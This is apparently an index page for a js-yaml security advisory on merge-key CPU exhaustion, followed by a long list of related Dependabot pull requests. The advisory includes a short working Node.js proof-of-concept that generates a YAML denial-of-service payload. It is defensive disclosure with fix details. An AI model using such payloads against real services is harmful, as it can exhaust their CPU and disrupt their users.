An open index of dependabot pull requests across open source projects.

js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

GHSA-2883-xcg3-v3hh CVE-2026-84375
Description:

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example

arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC

import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

N YAML size Time
800 ~13 KB ~20 ms
3200 ~50 KB ~180 ms
20000 ~500 KB ~13 s

Impact

An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count each merge-source mapping as one budget unit, in addition to counting its keys.

Difference with v5

In v3 & v4, merge is enabled by default. So, the severity score is higher.

Affected Packages
Ecosystem Package Vulnerable Versions Patched Version
npm js-yaml >= 3.0.0, < 3.15.2
>= 4.0.0, < 4.3.2
3.15.2
Related Dependabot Pull Requests
Bump vulnerable dependencies
Open about 8 hours ago
ImagineLearning/learnosity-sdk-nodejs #8
ImagineLearning
Bump the routine group across 1 directory with 40 updates
Open about 1 month ago
rglazkov/refscout-front #18
npm:@vitejs/plugin-react npm:globals +38 more
rglazkov
Bump @mermanjs/web from 0.8.0-alpha.3 to 0.8.0-alpha.7
Closed about 1 month ago
sheisxy/sheisxy.github.io #3
npm:@mermanjs/web
sheisxy
build(deps-dev): Bump turbo from 2.11.4 to 2.11.5
Open about 1 month ago
NinePiece2/github-stats-extended #125
npm:turbo
NinePiece2
build(deps): Bump the minor-and-patch group across 1 directory with 5 updates
Closed about 1 month ago
kursatessiz/deneme #147
npm:ts-jest npm:@anthropic-ai/sdk +3 more
kursatessiz
deps(deps-dev): bump the build-tooling group with 2 updates
Open about 1 month ago
psg2/feed-reader #40
npm:vite npm:turbo
psg2
fix(deps-dev): bump the tooling group across 1 directory with 8 updates
Closed about 1 month ago
nextidemedia/ui #83
npm:eslint npm:@types/node +6 more
nextidemedia
chore(deps): bump the dev-tooling group with 8 updates
Open about 2 months ago
BluePrime-Technologies/typeorm-timescaledb #250
npm:vitest npm:@types/node +6 more
BluePrime-Technologies
chore(deps): bump the production-deps group across 1 directory with 41 updates
Open about 2 months ago
mattbutlerengineering/mattbutlerengineering #6013
npm:lucide-react npm:lint-staged +39 more
mattbutlerengineering
chore(deps-dev): bump turbo from 2.11.4 to 2.11.5
Closed about 2 months ago
davidvornholt/mailbox #54
npm:turbo
davidvornholt
build(deps): Bump the npm group across 1 directory with 19 updates
Open about 2 months ago
Juandagarc/box-33 #15
npm:vitest npm:@vitejs/plugin-react +17 more
Juandagarc
chore(deps): bump the minor-and-patch group across 1 directory with 79 updates
Open about 2 months ago
denizlg24/denizlg24.com #229
npm:react-native-reanimated npm:lucide-react +77 more
denizlg24
chore(deps): Bump the minor-and-patch group across 1 directory with 15 updates
Closed about 2 months ago
Jundev66/CoreBiz #27
npm:zod npm:lucide-react +13 more
Jundev66
Build(deps): Bump the dev-dependencies group across 1 directory with 21 updates
Open about 2 months ago
mincho-js/mincho #404
npm:globals npm:@types/react +19 more
mincho-js
build(deps): bump the routine-updates group across 1 directory with 57 updates
Closed about 2 months ago
bouthouriMed/VAYA #142
npm:react-native-reanimated npm:react-router-dom +55 more
bouthouriMed
build(deps): bump the minor-and-patch group across 1 directory with 13 updates
Open about 2 months ago
ynnickw/adport #83
npm:zod npm:@types/node +11 more
ynnickw
Bump the npm-vscode-bicep-ui group across 1 directory with 14 updates
Closed about 2 months ago
Azure/bicep #20372
npm:eslint npm:@types/node +12 more
Azure
chore(deps): bump the npm-dependencies group across 1 directory with 55 updates
Open about 2 months ago
stellar-alerts-labs/stellar-alerts #513
npm:@vitejs/plugin-react npm:zod +53 more
stellar-alerts-labs
chore(deps): bump the development-dependencies group across 1 directory with 20 updates
Closed about 2 months ago
Hordekiller/Iraniyaragh #383
npm:vitest npm:@vitejs/plugin-react +18 more
Hordekiller
chore(deps): bump the dependencies group across 1 directory with 16 updates
Open about 2 months ago
madfam-org/madfam-site #338
npm:@vitejs/plugin-react npm:zod +14 more
madfam-org
build(deps-dev): bump turbo from 2.11.2 to 2.11.5
Closed about 2 months ago
xcfio/autokicker #189
npm:turbo
xcfio
chore(deps): bump the packages group with 15 updates
Open about 2 months ago
openbrf/openbrf #225
npm:vitest npm:@types/node +13 more
openbrf
chore(deps): bump the minor-and-patch group with 6 updates
Open about 2 months ago
RyRy79261/afrikaburn-contributors-app #91
npm:@vitest/coverage-v8 npm:next +4 more
RyRy79261
chore(deps): bump the dev-minor-patch group across 1 directory with 10 updates
Closed about 2 months ago
TicketSolutionsPtyLtd/roadie #211
npm:vitest npm:@types/node +8 more
TicketSolutionsPtyLtd
chore(deps-dev): bump turbo from 2.11.2 to 2.11.5
Open about 2 months ago
PunGrumpy/logixlysia #472
npm:turbo
PunGrumpy
chore(deps-dev): Bump the dev-dependencies group with 4 updates
Closed about 2 months ago
yanneves/browser.icu #830
npm:wrangler npm:turbo +2 more
yanneves
chore(deps): bump the minor-and-patch group across 1 directory with 8 updates
Closed about 2 months ago
alihassan891u-lab/LangGraph-Advanced-AI #24
npm:eslint npm:prettier +6 more
alihassan891u-lab
chore(deps): bump the production-npm group with 9 updates
Open about 2 months ago
dimah-kz/dimah-form #15
npm:vitest npm:lucide-react +7 more
dimah-kz
deps: bump the dependencies group across 1 directory with 16 updates
Closed about 2 months ago
TenantScale/sdk #175
npm:lint-staged npm:react-dom +14 more
TenantScale
chore(deps-dev): bump turbo from 2.10.12 to 2.11.5
Open about 2 months ago
abdurrahmanse/Boilerplate #8
npm:turbo
abdurrahmanse
build(deps-dev): Bump the dev-dependencies group with 5 updates
Closed about 2 months ago
jaypetez/stride #129
npm:vitest npm:lint-staged +3 more
jaypetez
Bump the minor-and-patch-bumps group with 14 updates
Closed about 2 months ago
navikt/dp-brukerdialog-frontend #929
npm:zod npm:eslint +12 more
navikt
chore(deps): bump the node group across 1 directory with 15 updates
Closed about 2 months ago
viclafouch/multifus #8
npm:vitest npm:lucide-react +13 more
viclafouch
build(deps): bump the minor-and-patch group with 11 updates
Closed about 2 months ago
climaa/acceptance-gate #469
npm:vitest npm:@vitest/coverage-v8 +9 more
climaa
chore(deps-dev): bump the dev-dependencies group across 1 directory with 8 updates
Closed about 2 months ago
ecryptoguru/lyrashield-ai #877
npm:prettier npm:@cloudflare/workers-types +6 more
ecryptoguru
chore(deps): bump the workspace-minor-patch group across 1 directory with 24 updates
Closed about 2 months ago
akhayam99/goodboy #1946
npm:@vitejs/plugin-react npm:lucide-react +22 more
akhayam99
chore(deps-dev): bump the development-dependencies group with 16 updates
Open about 2 months ago
webdriverio/desktop-mobile #690
npm:vitest npm:@types/node +14 more
webdriverio
chore(deps-dev): bump the patch-updates group across 1 directory with 5 updates
Closed about 2 months ago
allisonmahmood/patchy-cloud #441
npm:vitest npm:vite +3 more
allisonmahmood
chore(deps): bump the minor-and-patch group with 15 updates
Open about 2 months ago
simshanith/lit-ui-router #1031
npm:@types/node npm:wrangler +13 more
simshanith
build(deps): bump the dependencies group across 1 directory with 34 updates
Closed about 2 months ago
rorystandley/lede #82
npm:vitest npm:@vitejs/plugin-react +32 more
rorystandley
Bump the web-client-minor-patch group across 1 directory with 29 updates
Closed about 2 months ago
mightymoose/fortymm #1826
npm:vitest npm:zod +27 more
mightymoose
build(deps): bump the typescript-dependencies group across 1 directory with 18 updates
Closed about 2 months ago
channel-io/app-sdk #152
npm:@types/node npm:prettier +16 more
channel-io
deps(frontend): bump the grafana group with 2 updates
Open about 2 months ago
navikt/fritak-agp-frontend #1759
npm:@grafana/faro-web-sdk npm:@grafana/faro-web-tracing
navikt
Bump orval from 7.21.0 to 8.31.0 in /frontend
Closed 2 months ago
JaeYounkim0w0/klueops #15
npm:orval
JaeYounkim0w0
chore(deps): bump the npm-minor-and-patch group with 19 updates
Closed 2 months ago
chetan-anand-hub/Lazytopper-Production #784
npm:react-router-dom npm:firebase +17 more
chetan-anand-hub
dependabot: bump the github-actions group with 2 updates
Open 2 months ago
open-circle/valibot #1637
actions:zizmorcore/zizmor-action actions:OWASP/cve-lite-cli
open-circle
chore(deps-dev): bump snyk from 1.36.2 to 1.1307.1
Open 2 months ago
L33tCh/SickRage #841
npm:snyk
L33tCh
build(deps): bump @snyk/protect from 1.1307.0 to 1.1307.1
Closed 2 months ago
jesperancinha/boilerplate-project-issuetracker #718
npm:@snyk/protect
jesperancinha
Chore(deps): Bump the npm-dependencies group across 1 directory with 4 updates
Closed 2 months ago
tarlepp/angular-ngrx-frontend #3990
npm:eslint npm:typescript +2 more
tarlepp
Advisory Details
Published: September 08, 2026 2 months ago
Updated: November 04, 2026 15 days ago
CVSS Score: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS: 0.54% 46th percentile
Source: Github
Classification: GENERAL
UUID: GSA_kwCzR0hTQS0yODgzLXhjZzMtdjNoaM4ABu9F
PR Statistics
PR Status
Open 22 (44.9%)
Merged 0 (0.0%)
Closed 27 (55.1%)
Update Types
Major 48 (6.8%)
Minor 350 (49.2%)
Patch 311 (43.7%)